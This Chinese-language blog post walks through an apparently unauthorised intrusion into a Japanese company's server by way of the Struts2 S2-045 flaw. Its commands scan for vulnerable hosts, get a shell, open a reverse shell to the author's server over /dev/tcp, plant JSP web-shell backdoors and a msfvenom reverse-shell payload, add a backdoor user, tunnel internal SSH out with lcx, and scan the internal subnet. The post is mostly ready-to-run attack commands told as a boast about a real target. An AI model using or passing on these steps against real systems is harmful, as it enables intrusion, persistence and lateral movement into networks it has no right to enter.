看我如何用structs2漏洞渗透日本的内网
收集structs2的网站
利用在线网站搜索“structs”
接着上扫描器把搜索到的ip扫一遍
这里介绍一个神器struts-scan,开源的github上面可以找到
https://github.com/Lucifer1993/struts-scan
扫描器扫一遍
这里尝试了很多ip,终于扫到一个小日本的ip存在s2_045漏洞
命令 :python struts-scan.py https://118.152.xxx.xxx
然后直接用命令
python struts-scan.py -u https://118.152.xxx.xxx -i struts2-045
即可直接获得shell
然后这个shell一些命令被限制了,不过可以反弹shell,在自己的服务器上执行命令:
nc -lvvp 7070
接着在structs-scan得到的shell上输入反弹的命令
bash -i >& /dev/tcp/139.196.xxx.xxx/7070 0>&1
反弹成功,没想到的是获得的竟然是管理员权限
生成木马留后门
有了这么大权限就省了提权的麻烦,能干很多事情,先找到tomcat的目录(即外网能访问的目录),然后vim编辑jsp一句话木马
目录在/usr/local/tomcat/webapps/warehouse
jsp一句话有:
无回显
1 | <%Runtime.getRuntime().exec(request.getParameter("i"));%> |
请求:https://118.152.xxx.xxx/3.jsp?i=ls
有回显
1 | <% |
请求:https://118.152.xxx.xxx/4.jsp?pwd=023&i=ls
拿菜刀连的一句话(这一句话有点长),密码sky
1 | <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> |
不过这里由于环境原因会出现500的错误
msf生成木马
用msf可以生成多种后门
1 | windows -->使用模块“windows/meterpreter/reverse_tcp” |
这里我们使用jsp后门
命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=139.196.xxx.xxx LPORT=1234 R >text.jsp
接着进入msf框架,分别输入以下命令
use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 139.196.xxx.xxx
set LPORT 1234
exploit
这里反弹的shell不能用git clone和yum,只能用wget,所以先把text.jsp传到自己的服务器上,再在肉鸡上用wget下载自己服务器上的text.jsp
接着请求 https://118.152.xxx.xxx/text.jsp
反弹shell
内网端口转发
由于该服务器在内网,无法用ssh直接连上去,不过可以用端口转发,这里我用的工具的lcx
github https://github.com/windworst/LCX
先在肉鸡上增加一个linux用户,输入命令:
useradd testuser
passwd testuser
找一个不常用的目录,mkdir创建文件夹,然后用wget下载lcx工具,unzip解压
输入命令,把肉鸡的22端口转发到自己服务器上的3333端口
./lcx -slave 139.196.xxx.xxx 3333 10.240.4.112 22
然后在自己的服务器上执行
./lcx -listen 3333 5555
监听3333和5555端口,把5555端口的请求转发到3333端口上,然后传给肉鸡的22端口
最后用xshell连139.196.xxx.xxx的5555端口,输入帐号密码
内网漫游
既然端口转发,就可以把自己内网上在同一个局域网的其他服务器转发出来
在肉鸡上安装nmap,用nmap扫描c段看下还有其他那些服务器
命令: nmap 10.240.4.0/24
先curl看一下
curl 10.240.4.101:8080
在自己的服务器上输入
./lcx -listen 1111 2222
然后在肉鸡上输入转发端口的命令:./lcx -slave 139.196.xxx.xxx 1111 10.240.4.x 8080
最后请求 http://139.196.xxx.xxx:2222/ 就能访问到内网服务器的其他网页